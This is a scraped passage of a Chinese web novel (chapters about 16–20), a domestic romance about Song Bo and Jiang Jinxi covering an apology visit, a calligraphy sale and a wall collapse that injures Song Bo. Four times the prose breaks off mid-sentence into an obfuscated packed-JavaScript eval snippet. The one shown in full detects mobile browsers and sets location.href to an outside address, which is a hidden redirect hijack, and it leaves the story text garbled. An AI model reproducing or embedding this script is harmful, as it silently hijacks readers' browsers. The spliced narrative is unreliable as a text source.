“谢谢,新衣服我很喜欢。” 忽然一句轻得和羽毛一般的话挠进宋泊的心窝,他勾起嘴角,心道江金熙心思敏感,可是却十分好哄,跟只猫咪一样,有些可爱。 翌日,宋泊准时清醒,江金熙面朝墙紧紧抓着被子睡得正香,宋泊悄悄起身,将被子往江金熙那儿掖严实以后,他才离开家出门上工。 江金熙每日都会去宋茶栽家,三餐便无需他担心了。 跨出院门,宋泊看见昨日放在院门边的小木筐依旧还在那儿,这也正常,毕竟他昨夜回来时已经很晚了,放东西的人就算想起来东西放错地方了,也得第二天的白日才能来拿走。 江金熙醒的时候,太阳正斜挂在天上,新的被褥十分暖和,睡得他惰性显现,都不想起床了。江金熙包着被子往左滚了下,又往右滚到床边,伸了个长长的懒腰以后,他才从被窝里爬出来。 刚走出房门,一股秋风夹杂着冷气就袭上江金熙的脸,江金熙打了个冷颤,把衣服脖领又拢紧了些,才钻进厨房里,烧水洗面。 以往在京城时,一睡醒喊一嗓子便会有婢女端着热水进屋,现在被陷害到了这个荒郊野岭,不想被凉水冻伤脸,就只能自己动手烧水了。 还好他与宋茶栽学了生火的法子,这两日自己烧了水,倒也渐渐熟悉起来。 比起其他人家,他这已经算幸福了,毕竟水不用他挑,宋泊每日都会关注厨房中水缸水量,清水即将用完的时候,宋泊就会去天溪河旁挑水回来。 用热水掺着冷水洗完脸以后,江金熙拿上医书就要前往宋茶栽家。跟宋茶栽一块儿待了几天,他发现中医很有趣,在京城除了生病他接触不到大夫,如今跟在宋茶栽身边,身上衣服都被草药浸入味了。 刚要出门,江金熙就看着门口有个鬼鬼祟祟、探头探脑的女子在往他们院子里瞧。 莫不是暗害他的人派人来查看他的情况? 可那女子藏身的动作实在拙劣,半个身子都露在树干外,不像是那些人的手下。 江金熙迈着步子,几步便走到女子面前,他问:“你为何频频朝我屋内观望?” 来者肤白如雪,乌黑浓密的秀发高高束起扎了个马尾,秀气柳眉下一双半弧形的圆眼,淡褐色的瞳孔正顶着她瞧,女子双手抬起交叠着捂着嘴,被眼前人的美貌迷了眼,道:“啊?” 江金熙好脾气地再问一次,“你为何频频朝我屋内观望?” 女子这才回过神来,说:“这是你家?” 江金熙没有直接回答女子,而是说:“你来是有什么事吗?” “这儿不是宋泊家吗?难道我问错了......?”女子不解地食指卷着头发,昨日她问了好多人,他们都说这儿就是宋泊家。 “这儿是宋泊家。”江金熙答。 “那你是......?”女子眼尾上挑,她见过宋泊,宋泊充其量就是个气质稍好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“所以你能替他收下东西吗?不然我良心不安。”自那日以后,宋灵铃一直被愧疚折磨,这才自己鼓起勇气带着东西来宋泊家赔礼道歉。临了到了门口,那股勇气瞬间跟气球漏气一般漏了个精光,她才会把小木筐放在宋泊家门口,等着宋泊拿进去。就算宋泊不知道是谁送的,只要他把东西拿进屋中使用,她的愧疚感就会散去。 只是没想到,一晚上过去,她过来看看情况的时候,小木筐还在原位一动未动。 江金熙摇头,拒绝了这个请求,他道:“你当面与他讲吧。” 道歉这种事还是得当面与当事人才行,他在中间做个传话人,且不说意思有没有传达到,单是道歉的意思都淡了许多。 “他晚上回来,你可以戌时中再来。”江金熙说。 许是江金熙太漂亮了,迷了宋灵铃的心,让她说出了自己真实的感受,“我有点怕……”她毕竟只是个女子,面对村里有名的混混还是会胆怯的。 江金熙笑了,这个感受他明白,第一天他也是心惊胆战的,可一周内,宋泊又给他买糖又给他零花钱还给他买新衣服,他实在是再也怕不起来了,他道:“不用怕,他其实是个好人。” 17. 第十七章 宋灵铃觉得江金熙的脑袋被驴踢了,毕竟一个人人避之不及的过街老鼠怎么会成为好人呢。想到其他人对宋泊的评价,她还是觉得这个险不值得冒,“还是你帮他收了吧。” “若是你实在怕,我也会在场的。”以江金熙的聪明才智,他多少猜到宋灵铃在忌讳什么,他道:“只是这赔礼我真的不能替他收。” “你也会在?”宋灵铃说。 江金熙是宋泊的夫郞,有他在场宋泊应该不敢胡作非为。而且有美人相伴,她的胆子就会大上许多。 “这是我家,我自然会在。”江金熙答。 “这可是你说的,你必须要在哦。”宋灵铃说。 “嗯。”江金熙应道。 得到江金熙确定的回答,宋灵铃这才点了头离开,临走时她把小木筐拿回了家,放在路边没准谁走过去踢一脚,把赔礼踢坏可就不好了。 平平无奇的白日过去,宋泊领了四十三钱,带上船老板给的橘儿,回了家。 现在这个季节正是橘子的季节,船老板家里自己栽的橘子树结了果,他便摘了些拿到码头分与大家,因宋泊之前帮了他的忙,船老板偏心就多留了几颗给宋泊,让他带回家中。 今日没有买东西,宋泊便直接去了宋茶栽家,宋茶栽家里还有个村民在看病,江金熙正站在药柜之前,帮宋茶栽包药,他包得入神,连头发垂下来遮着眼都不在乎。 宋茶栽正在诊脉,没空招呼宋泊,便叫他边儿坐着,别吵她。 宋泊踱着步,走到药柜边,他与江金熙一里一外,隔着个木柜对立而站。江金熙细长的睫毛微微下垂,修长又指节分明的手灵活地包着药包,身上带着温和又认真的气质,他旁边放着一本摊开的医书,在包药前,他都会看着医书对上一遍,加深记忆。 察觉到面前的光被遮住,一片阴影撒在他的面前,江金熙才从包药之间分出点儿注意力抬了头,看着是宋泊站于他面前,他道:“你今日怎么回来得这么早?” 天色才刚刚暗下去。 “没去买东西就早些回来。”宋泊抬手刚要接着木柜放下手臂,就被江金熙用胳膊肘顶了下去,“包药呢,你到那边坐去。” 得,回来得早还被嫌弃了。 宋泊乖乖找了把小木凳坐下,百无聊赖地环顾四周,之前来都是匆匆忙忙的,现下闲了下来,他才发现宋茶栽家中有关医学的书真的很多,摆满了一柜子。 那些医书看着都有些时日,被翻得起了角儿,可见宋茶栽经常翻阅那些书籍,时时温故。 闲来无事,宋泊便掰起了橘子,古代橘子纯天然无污染,吃起来又甜又水。 橘子味飘在房内,刚送走村民,宋茶栽就走过来摊开手,掌心朝上朝着宋泊。 宋泊很上道地扒了个橘子放在宋茶栽手中。 宋茶栽拿上橘子,顺势在宋泊边上坐下。 宋泊刚吃完一颗橘子,他从怀里掏出那个素钱袋,从里头拿出五十钱放在桌上,“大姑,这钱还你。” 宋茶栽吃着橘子偏头,粗粗数了下,这一小堆铜钱肯定超过了三十钱,她咽下口中的橘子,说:“我不是只借你三十钱,多的是作甚?” “这几日金熙天天来你这儿吃饭,多的是饭钱。”宋泊解释。 宋茶栽不高兴了,她三下五除二把橘子吃了,擦了擦手把多的二十钱挑出来,“一家人还有算饭钱的?说出去不让人笑话,拿回去。” “亲兄弟,明算账。”宋泊道。 宋泊连谚语都会用了,宋茶栽有些惊讶于他的进步,不过惊讶归惊讶,事还是要说清楚的,“我和你姑父两个人做饭不好掌握量,金熙来了以后,家里再没有一次剩下饭菜,这难道不是好事?” “可……”宋泊还想再说。 宋茶栽板起脸,“不拿走我生气了。” 没必要为了一点儿小事伤和气,宋泊知道宋茶栽也是心疼他,才不愿意多拿一分,“那我就先收了,往后我买东西来你可不能推辞。” “那得看是什么东西。”宋茶栽没有将话说死,宋泊还年轻,如今变好前途无量,之后要是飞黄腾达送她什么太过贵重的东西,她也是不敢收的。 “自然。”宋泊答道。 两人沉默下来,四周只有江金熙时不时翻动医书的纸张声。 宋茶栽看着江金熙,指尖在木桌上无序的敲了敲,开口,“我与你说个事儿。” 宋茶栽的语气有些严肃,宋泊不自觉地直起身子,提了几分精神。 “金熙想与我学看病,我同意了。”宋茶栽说 “我当是啥事呢。”宋泊松了口气,“学就学呗,有一技傍身多好。” 一年以后江金熙就会回到京城,京城可是个吃人不眨眼的地方,学了医能有个保命的法子,至少不会被人害了命去也好。 相处七天有余,宋泊已经将江金熙从话本中剥离出来,当他是个活生生的人。石心尚且有情,更别说宋泊是个活人,他希望江金熙能摆脱原著里的悲惨结局,转而走一条新的阳光大道。 “我跟你说,学医的好处......”宋茶栽还以为宋泊会严词拒绝,她都想好了说服的话语,却没有丝毫的用武之地。 恒国人普遍认为哥儿和女子只要会相夫教子就行,医学这种极难的学科,没多少人愿意自家哥儿和女子学。哥儿和女子无才便是德,学得多了、心思精了,便没那么好掌握了。得亏宋家逝世的二老思想开明,才愿意让宋茶栽跟着老大夫学中医。 “我知道学医的好处。”宋泊道,古代优秀一技之长中,医学肯定是排前列的。只不过学医很难,单是认药,认人的穴脉就已经非常困难了,“你别一下子教太多,给他点吃透的时间。” 宋茶栽挑眉,“心疼了?” “没有。”宋泊答。 “看人家那么辛苦,还不给人家剥个橘子去?”宋茶栽道。 之前她一直想着如果宋泊变回原样,她就帮江金熙逃跑,现下宋泊一日比一日好,她也就把这个心思落了,他俩之后的路如何只能由他俩自己走,不过宋茶栽还是乐意自己有个漂亮聪慧的侄媳妇,所以想着法子小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“找我?”宋泊疑惑,那日他扶宋灵铃的时候可是什么事也没做,扶的位置也很正常,他想不到宋灵铃来他家门口找他的原因。 “嗯。”宋灵铃点头,她将右手拎着的小木筐抬到宋泊的眼前,“我来跟你道歉的。” “道歉?”宋泊更是满头问号,“你做了什么事需要与我道歉?” “那日说了你的坏话,便是我做的错事。”宋灵铃到底是不敢跟宋泊对视,她低头看着脚尖,说:“希望你能接受我的赔礼,原谅我,不然我心里难安。” 这事儿可太小了,小到宋泊都已经把这事儿忘了个透彻,他穿到这儿以后,经常听到别人蛐蛐他,久而久之他都习惯了,不往心里头去。 没想到这点小事居然会困扰宋灵铃。 宋泊直接接过宋灵铃的小木筐,拎在手中,“我收到了你的歉意,原谅你了。” “真的!”宋灵铃猛地抬头,两眼放光。 不过一个善良的小孩,宋泊没想难为她,他笑道:“嗯,真的。” 18. 第十八章 宋灵铃说完话没有久留,一溜烟就跑远了,离开前江金熙还跟她打了照顾,让她路上慢些。 “你认识她?”宋泊一手拎着小木筐,一手拿着灯笼,因为两手都拿了东西,他不好控制灯笼动向,几次都没吹灭蜡烛,江金熙看不过眼,把灯笼接了过去,轻轻一吹灯笼中的火焰便灭了去。 “昨日她就把小木筐放在院门口了,你应该有看见?” 江金熙一说,宋泊顿时觉着手中的小木筐看着有些眼熟。那个小木筐居然真是放给他家的,不是乱放的。 “她早上有再来一次,我与她说你晚上才回来。”江金熙说。 难怪今日江金熙这么早就要回家,原来是有人等着。 迎着秋风进了卧房,宋泊将盖在小木筐上的白布掀开来,筐内放的东西不多,但品种很丰富,一小袋米,一块手掌长的五花肉,还有些水果,正好可以抵一日的吃食。 又过了一日,九月十四号,宋泊休息的前一天,他领了工钱,钱袋里已经有了四百二十钱。 货工的休息日不多,干九日休一日,一个月也只休三日。不过宋泊并不在意,既应下了这个活儿,他便有心理准备。 难得的休息日要到了,宋泊决定去集市大采买,先买些修窗子的材料,再买些菜,明日下厨做上一顿饭,请宋茶栽和刘南民过来小酌一杯,还上一些人情。 “宋公子!” 宋泊隐约听着有人叫他的名字,他循声看去,是个看着像店小二的人。他身上穿的衣服有些眼熟,宋泊想了好一会儿才想起来那是喜春楼的统一制服。 平民集市里的东西有限,想要修窗子还得到大型的木店,宋泊这才换了路,经过喜春楼被店小二抓着。 “你是……?” “您放在我们楼里的东西您什么时候拿回去呀?”店小二搓着手,带着些讨好问道。 那套从秦令那儿赢得的笔墨纸砚已经被他抛之脑后了。他虽用不上那些东西,却可以转卖出去还些银两,想到这点,宋泊转了弯跟店小二回了喜春楼。 店老板小心地将文房四宝拿出来,这套东西可贵了,摔着一点他可赔不起。 宋泊拢着店老板推来的东西,问,“你知道附近公道的当铺吗?” 店老板心思活络,一下便联想着宋泊想要当什么东西,“宋公子不会是想把这套宝儿当了吧?” “怎么,不行?”宋泊说。 “且不说您一手好字正得配这套上好的文具,就是您用不上也断不可当了去。”店老板四周看了看,才抬手小声说:“小心引火上身。” “此话怎讲?”宋泊倒是不知只是当个东西罢了,还会惹来麻烦。 “那秦公子最是好面儿,您当面赢他已是结了梁子,若再让他知道您把他的东西当了,他可是会上门找茬的。”店老板说。 秦令此人最是嚣张跋扈,他父亲的文质彬彬他是一点儿没学到,虽没惹出什么大事,却总是会用那些无关痛痒的手段欺负他讨厌的人,烦人得很。 听店老板郑重其事说着,宋泊便打算再考虑考虑,他现在的生活平平淡淡过得正快活,惹麻烦来徒增烦恼实在是没必要,索性他也没到必当不可的时候,只当留了个随时能变现的宝儿在家中,也是有了份底气。 思索间宋泊拿着包好的东西就要走,那店老板却先他一步,喊住他,“宋公子稍等!” 宋泊顿下脚步,“还有何事?” 店老板放在柜台上的两手不停搅着,看着与苍蝇搓手十分相似,他斟酌几秒,说:“不知您可否留一幅墨宝在本店呢?” 上次宋泊一鸣惊人以后,店老板便一直惦记着宋泊的墨宝。喜春楼虽说沾些边际生意,但因店内菜品好,愿意单纯品味菜品的文人也不在少数,久而久之他们为了留住文人客人,在店内挂了不少文墨,倒也增添了几分文气。 店老板自身看不懂书法,可他明白秦闻的鉴宝能力,秦闻都说好的书法,那定然是上品,能求得一幅挂在店里,想必能引来更多的文人雅客。 店老板怕宋泊以为他会白要而拒绝这个请求,还赶紧补上一句,“自然,我们会给您酬金的。” 不过拿个遗落的东西难道还有意外收获,宋泊问:“酬金多少?” 见宋泊有写字的意向,店老板赶紧将宋泊引到楼上雅间,他跟店小二交代几句话以后,进屋将门关上。 宋泊走入房内坐在房中央的红木椅上,房内有一股好闻的熏香味,这雅间与宋泊想象中有些不同,房间内的装潢确实雅致,红木桌椅旁放着莲花屏风,墙上还挂着一幅青山流水图,桌上茶盘里的茶壶和茶杯都有浮雕,是文人最喜欢的那套装潢。 店老板紧随其后走到宋泊对面坐下,他先敲了块茶砖,泡了壶清香的溪山春,倒与宋泊。 宋泊细细一品,先闻茶香,后品茶味,茶味淡雅入口清而幽香,是上好的茶叶。 观宋泊动作,店老板越发确定他不是寻常百姓,而是有读过书的雅士。普通百姓哪儿懂得品茶的步骤,拿上一杯水仰头入肚,茶味还未溢出就已经落入腹中,白瞎了好茶。 店老板又给宋泊倒了杯茶,说:“宋公子,我店愿出二十两白银,买您一幅作品。” 这个价其实算是行情价,宋泊的字固然好,但因他本人还未有名气,所以二十两买几个字正是合适,要知道镇子里有些名气的书法家,他们的字也只能卖到五十两,只有那些名气远洋的大家,他们的作品才会超出百两。 宋泊内心惊诧面上却丝毫不显,商人做生意肯定不会亏了自己,他们报的价只会往低了说,店老板说了二十两,这价肯定还有往上提的空间。 宋泊没有说话,只是端起茶杯慢慢品着。 店老板摸不清宋泊的想法,他抬手拍了两声,有人推门而入,那人端着餐盘进来,眼神流转跟有钩子一样勾在宋泊身上,他衣服轻如薄翼,走路之间将他的腿儿展现一览无余,脚腕上的银铃叮叮作响。 这人肯定是楼里的小倌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309958|167245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他来是什么意思,宋泊一清二楚。 男人之间谈生意怎么谈最容易,自然是在酒肉之间。 那人一靠近,宋泊就被香味熏着打了喷嚏,果然,这些小倌身上的香气还是刺人。 小倌放下餐盘以后就要离开,抬脚间忽然脚一撇,就要往宋泊的方向倒下,他计算得倒是完美,若是宋泊什么动作也无,他就会正好落入宋泊的怀中,只可惜宋泊利落地从椅子上站了起来,他只能落在红木椅上,斜靠着椅子把手。 小倌嘴角一撇,心道宋泊真是不解风情,他可是楼内排名第三的小倌,别人请他还不来呢。 宋泊抬袖捂着鼻子,说:“宋老板,我谈事儿不喜外人,我看这事儿就作罢吧。”语罢,宋泊利落转身,抬脚就要走。 店老板赶紧起身喊住宋泊,同时眼神示意让小倌出去,“宋公子停步,我让他马上走,咱俩的事儿可不能算。” 以往美人计帮他拿下不少人,他还以为宋泊也吃这一套,这下真是搬起石头砸自己的脚了。 小倌哪儿吃过这样的瘪,他从宋泊身边走过气恼地一拂衣袖,香气溢气,宋泊又打了几个喷嚏。 小倌走后,宋泊立即将窗子打开透气,好好的熏香都被刺鼻的香味盖了过去。 店老板引着宋泊重新坐回位子上,宋泊道:“我也就不拐弯抹角了,二十五两写一幅。” “这......”店老板为难。 “我的字什么价值我自己知道,现下不出名以后二十五两都买不到一幅。”宋泊看着店老板道。虽说他的字真有名扬天下的价值,但他这世只想当个山村野夫所以不会显露太多,可唬人谁不会,谈生意最忌讳的就是不自信。 店老板看着宋泊身上的文人气,又想到秦闻的评价,估量着这人前途无可限量,没准以后他中了举名声打出去了,确实二十五两就买不到他的作品了。 思及此,店老板决定先下手为强,便同意了二十五两的抬价。 店老板让人拿了纸笔进来,这要挂在墙上的东西自然质量不差,一张空画卷便值三两,每一次下笔都是一次豪赌,若是写错了、写丑了,画卷就毁了。 宋泊拿笔沾墨,店老板的心不由得加快了几分。 宋泊抬手,气势下沉,笔尖落到画卷上,流畅横过,笔画之间气韵尽显,不过一瞬,宾客盈门、座无虚席八个字以左上右下的姿态出现在画卷上,等宋泊收笔,店老板惊讶地不自觉鼓起了掌。 先前前头挤满了人他没看着宋泊是怎么赢的,现下真切地看了全过程,不由觉得自己这二十五两花得真值。 宋泊轻轻放下笔,道:“行了,风干后再收。” 店老板看着左侧落款处空落落的,问:“您不署个名吗?” 文人都有署名的习惯,尤其是尚未出名的文人,若有达官贵人偶然看着,这名声就能在无意之中打出去。 “不必了,这样挺好。”宋泊道,他本身就没有出名的想法,这落款便没了意义。 19. 第十九章 从喜春楼出来,宋泊的怀里塞了满满当当的银子,店老板结钱十分爽快,一手收货一手就给了钱,他那素色钱袋装不下那么多银子,只能劳烦店老板帮他打包好,塞在衣襟之中。 头一次带着这么多钱,怀里沉甸甸的衣服都要往下掉,真是甜蜜的烦恼。 一下进了二十五两,宋泊放开了手脚买东西,今日本就是花钱大日,有了这些钱他就不必抠抠搜搜,只买必要的东西。 修窗的东西买了,自己和江金熙的衣服又定做了几套,再加上明日做菜用的食材,满满几大袋东西,单凭宋泊一人是抗不回村的。 宋泊便在镇里租了辆驴车,帮忙把东西驮回村里。 驴车慢慢悠悠走着,车夫与宋泊有一搭没一搭地聊着天,等到了家,天色已经完全暗了下去,还好入夜街上村民少,虽然他不怕被别人看见,但这么大阵仗总会被人说闲话的。 宋泊先将赢来的笔墨纸砚塞进床底,这东西反正没用,藏起来也省得被江金熙和大姑问东西的来历。接着他把多的银两分成几包,放于床底、放于身上......分散开来放着,再将其他东西归位,全部整理好以后,宋泊才去宋茶栽家接江金熙回来。 接江金熙这事儿好像成了个习惯。 宋泊提着灯笼走在村里,那股令人不适的感觉又出现了,就像几百只毛毛虫忽然爬上了他的身体,让人难受,这感觉消失几日,他还以为那些人已经放下心走了呢。 难怪原著里主角攻找来得一年以后,就这种盯人的强度,江金熙能留下线索都已经算他厉害了。 宋泊进了宋茶栽家的院子,江金熙站在药柜前,一个药柜正开着,他一手捏着草药,一手翻开着书。 宋泊也没打扰他,直接到宋茶栽边儿上坐下,“大姑,明天晚上我请你与姑父一块儿来我家吃饭。” 宋茶栽正在整理白日的药方,闻言她抬头,想了想明日的特殊性,发现既不是谁的生辰也不是什么大日子,便问:“什么日子,还要请我俩吃饭?” “这不是明天休息,正好请你们吃顿饭。”宋泊道。 “请了厨子?” “哪儿能呢,自己做。” 宋茶栽抬手挖了下耳朵,以为自己听错了,“你自个儿做?” “正是,料我都买回去了,只等明日开锅。”宋泊说。 听着宋泊的话,宋茶栽打退堂鼓,“明儿晚上我好像没空。” “大姑!”宋泊唤着。 江金熙听了声转头看来,看宋泊来了,他便把草药放回柜中,从木柜后走了出来,与他们坐在一起,问:“怎么了?” “你夫君明日要做菜请我们吃。”宋茶栽耸耸肩,“我怕被毒死。” 也不怪宋茶栽会有这样的顾虑,原主长到现在,十来年从未进过厨房,别说煮饭了,就连煮个鸡蛋都够呛。 做饭这事儿上江金熙帮不了宋泊,毕竟他生火也是这几日才学会的,更高阶的做饭他自然不会。不过他倒没有宋茶栽那般怀疑,反而有些相信宋泊会做饭,以这几日的相处来看,宋泊会些什么他都不意外。 江金熙微微一笑,说:“大姑不是会医术吗,不会被毒死的。” “好啊,你俩一条心。”宋茶栽左看一眼宋泊,右看一眼江金熙。 “尝尝,若真不好,以后我不叫你就是了。”宋泊趁热打铁。 宋茶栽叹了口气,“行了,我去就是了。” 出了宋茶栽家的院门,那股毛骨悚然的感觉又漫上了江金熙的肩头,那些人不看到他过得差是不可能善罢甘休的。 正想着要如何应对的时候,宋泊的大手却就抓上了他的后衣襟,将他以一个拖行的姿势拉回家,看着残暴,但只有江金熙知道,宋泊拉着他的手根本没使大力气。 等回了家进了卧房,宋泊才松了手,不过松手以后他神色自然地将房内的蜡烛点上,什么话也没说,江金熙也摸不准他那个拽他的动作是何用意。 宋泊没说,那他也不会主动说,父亲的敌人没一个好对付的,他终归是会回去的,没必要把宋泊拉入浑水之中。 翌日,鸟儿站在枯枝上欢叫,宋泊睁开眼来,阳光照眼皮上,刺得他翻了身。 在床上赖了会儿,宋泊才起身从床上下来,今日虽说不用上工,但要做的事情还有很多,起来洗了脸后,宋泊将昨日买的包子放上炉灶。 肉包子的香味从锅炉里溢出,江金熙闻着香气醒来。 江金熙打着哈欠从房里走出来,看着在厨房里忙活的宋泊,他问:“今天不用上工吗?” “忘了与你说了,今日我休息。”宋泊答着拿了块破布将锅炉上的盖子掀开,蒸汽瞬间四散开来,肉包子的香气没有遮掩以后更明显了,宋泊一边拿着筷子将热好的肉包子夹出来,一边与江金熙说道:“赶紧洗漱,吃早餐了。” “好。”江金熙走进厨房,正打算借着宋泊未熄灭的炉火烧水,就发现宋泊已经给他留了盆热水,就放在炉灶旁边。 看着冒着热气的水,江金熙心底冒出一股说不清的感觉,好像那热气顺着他的眼眸进入了他的心,然后围在他心边似的。 只要有宋泊在,一切事情都不必他操心。 大清早上,阳光从窗户射进来照在两人身上,两人面对面相坐,手里各拿着一个肉包子。 大姑家的早餐都是稀白粥配菜,寡淡得很,江金熙这还是第一次在早上吃肉包,肉汁在他的口中爆开,别提多香了。 宋泊见江金熙吃得都眯起眼来,便知他一定很喜欢这个肉包子,往后下工或许可以经常买些肉包回来,让他早晨自己重新蒸过一遍就是。 吃完肉包,宋泊把昨日放在院里的修窗材料扛了出来,木条的长度都是固定的,他得拿尺子量了自家窗户的长、宽尺寸,在用锯子锯了,才能安上窗。 江金熙的一口比不上宋泊的一口,所以他吃包子的速度会比宋泊慢上不少,他见宋泊的脸从窗户边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江金熙目不转睛地盯着宋泊的手臂瞧,他的肌肉并不硕大,许是因为他之前还是个被赌博侵袭的内里亏空男人,所以跟其他做苦力活的人比起来完全不够看,可正是这股瘦弱中带着男子气息的手吸引了他的注意力,让他挪不开眼。 锯好一条木条,宋泊一抹头上的汗水,说:“金熙,你把木条拿去比看看,看看合不合适。” 宋泊忽然与他搭话,江金熙慌忙地收起眼神,从地上站起来,捡过落在地上的木条就往窗子边比划。 宋泊没忍住笑了,“那是长边,你比短边肯定是对不上的。” 江金熙红了耳廓,紧急调整木条的位置。 宋泊也不知道江金熙是怎么了,他只是觉得金熙这般有些迷糊的小动作有点儿不似平日里的他,毕竟这几日相处着,江金熙给他的感觉都是端庄的大家公子。 20. 第二十章 尽管早晨的阳光不热烈,而且还有时不时吹来的带着凉气的秋风,但宋泊还是热得大汗淋漓,额头上的汗珠大点儿大点儿往地上落,背后的衣服都被汗水浸湿。 江金熙看不过眼,进厨房里打了盆冷水,又拿了宋泊的面巾浸水拧干,接着他将湿面巾拿出去,跟宋泊说:“擦擦汗吧,汗都跟雨一样了。” 宋泊正锯到木条正中间,此时一停再重新开锯有可能会偏了角度,锯歪木头,他虽觉得热,却还是先拒绝着,“我现在腾不出手来,等会儿再擦。” 江金熙呡了下嘴,本来想直接帮宋泊擦汗,可这动作实在亲密,他们不过假夫夫,还没到可以帮忙擦汗的程度,便就作罢了。 锯完一根木条,宋泊拿起面巾,冰凉的面巾碰在脸上,宋泊只觉得活了过来,就像大夏日啃了一根冰淇淋十分舒畅,他谢道:“多谢。” “小事而已。”江金熙应声。 宋泊看着地上已经锯好的窗框,心中还是升起不少自豪感,他在现代从未做过手工,这第一次下手看起来完成得还不错,虽然只是个简单的锯东西活儿。 巳时中,宋泊终于将所有的窗框锯好。他先将窗框组装好,然后拿上锤子和灰浆,要将窗框锤进墙中,这过程他需要江金熙帮忙扶着。 “这样可以吗?”江金熙双手托着窗框,与宋泊平行托着。 “可以,保持不动就行。”说话间,宋泊将墙凹的四面都抹上灰浆,而后拿起锤子开始锤窗框,明明尺寸没差,可宋泊锤了十来下都没有把窗框锤进去。而且不知是不是他的错觉,这墙好像隐约有在晃动。 为了确定不是自己的错觉,宋泊问江金熙:“你有听见什么声音吗?” 江金熙凝神静气,一片安静之中他听见了细微的声响,听起来像是枯树叶被撕开的沙沙声,他说:“好像有,那是什么......”声音两个字还未说出来,他们所站的这面墙就塌了。 墙塌了,屋顶上的木头带着瓦片落了下来,江金熙抬手捂着头,尽力保护自己的脑袋。 预料中的疼痛没有落下来,宋泊的闷哼声却在他后脑上方传来。 宋泊比墙快了一步,在看见墙裂的时候,他便大步两跨到江金熙身旁,将他整个人护在身下。 江金熙比他矮很多,正好能被他完整的护在身下。 这房子用料倒是实打实,这砸一下跟他在现代英勇就义时被车撞了的痛感差不多。 “你没事吧!”江金熙立即反过身,两人距离极近,他看见宋泊眉头紧皱,一滴湿润的液体落在他的手上,鲜红色的,刺伤他的眼,“你流血了!” “我可能......不太行。”话音刚落,宋泊脑袋一偏靠在江金熙的肩头昏了过去。 一百四十五斤的重量落在江金熙身上,他不觉得重,只觉得慌张,他喊了一声宋泊,自然无人应他。 江金熙拖着宋泊从废墟里出来已是精疲力尽,以他一人之力肯定无法将宋泊送到宋茶栽家,所以他只能先把宋泊搁在地上,自己前往宋茶栽家搬救兵。 宋茶栽刚诊完一个病人,坐下歇会儿,她拿着一包茶叶正要泡下,就听见门口传来动静,动静还不小,应当是有人急匆匆地往她这儿来。 这般着急的步伐肯定是个急病,宋茶栽将茶叶抛到一边,起身出门迎接,却看见个熟悉的身影朝她这儿跑来,“金熙,怎么是你?” 江金熙跑得急,嘴里血腥味显现,他弯着腰两手撑着膝盖,大口喘气。 虽然不知道发生了什么事,但江金熙喘得又快又急,这般下去肯定要出事,她走出房内,抬手自上而下捋着江金熙的气,说:“慢点吸气。” 几个深呼吸下来,江金熙终于能开口说话了,“宋泊、宋泊他出事了。 江金熙会急成这样,肯定与宋泊脱不了干系,宋茶栽心底早有准备,得到确定的回答以后她利落地进屋拿起诊盒,与江金熙出了院子后带上院门,两人步伐匆匆往宋泊家赶。 路上,宋茶栽问江金熙具体发生了什么,这样对她之后的诊病会有帮助。 “我们在修窗,墙踏了砸在宋泊身上,他现在昏了。”江金熙说。 “什么!”宋茶栽没想到事情会这么严重。 两人步子又快又大,硬生生缩短了一半的赶路时间,等到两人抵达的时候,宋泊躺着的地方已经漫出了不少鲜血,整个脑袋躺在血泊之中。 江金熙不过一个十七岁的少年,哪儿见过这种场面,他顿时更慌了,颤抖着手抓着宋茶栽的手臂,“大姑,怎、怎么办呐。” “别慌。”宋茶栽心底也打鼓,但她作为现场唯一的长辈,自然不能自乱阵脚,“你来帮我。” 江金熙点头,两人在宋泊的身旁蹲下。 宋茶栽先检查了下宋泊的外伤情况,才发现他的左手上有一条极长的划伤,伤口很大,血还在往外流,周围的血液可能是从这个伤口流出来的。接着她绕过宋泊两臂,轻轻摸着他的脑袋,脑袋右后方上轻微有些肿,可能有些内出血,她翻开宋泊的眼皮,观察他的瞳孔,瞳孔还正常,应当没有伤到脑子,是头骨和皮肤之间出了血。 “刚刚他是什么姿势挡着墙的你知道吗?”宋茶栽边触诊着边问道。 “他是双手遮着脑袋的。”江金熙说。 有双手作为缓冲,脑子受到的冲击会小很多,可这也不代表就没事了,还是得看宋泊之后的反应。 脑袋上的伤暂且可缓,宋茶栽打开诊盒,决定先把手上的伤口处理一下。 脑袋没事流血太多也是会死人的。 “金熙,你去烧点水来,我要清洗伤口。”宋茶栽说。 “好!”江金熙一手撑着地起来,马上跑进厨房里烧水。 早上蒸包子用的火儿被炉灰压着,轻轻一摆就能复燃,这也为江金熙生火省了一大半的时间,水烧开以后还得放凉 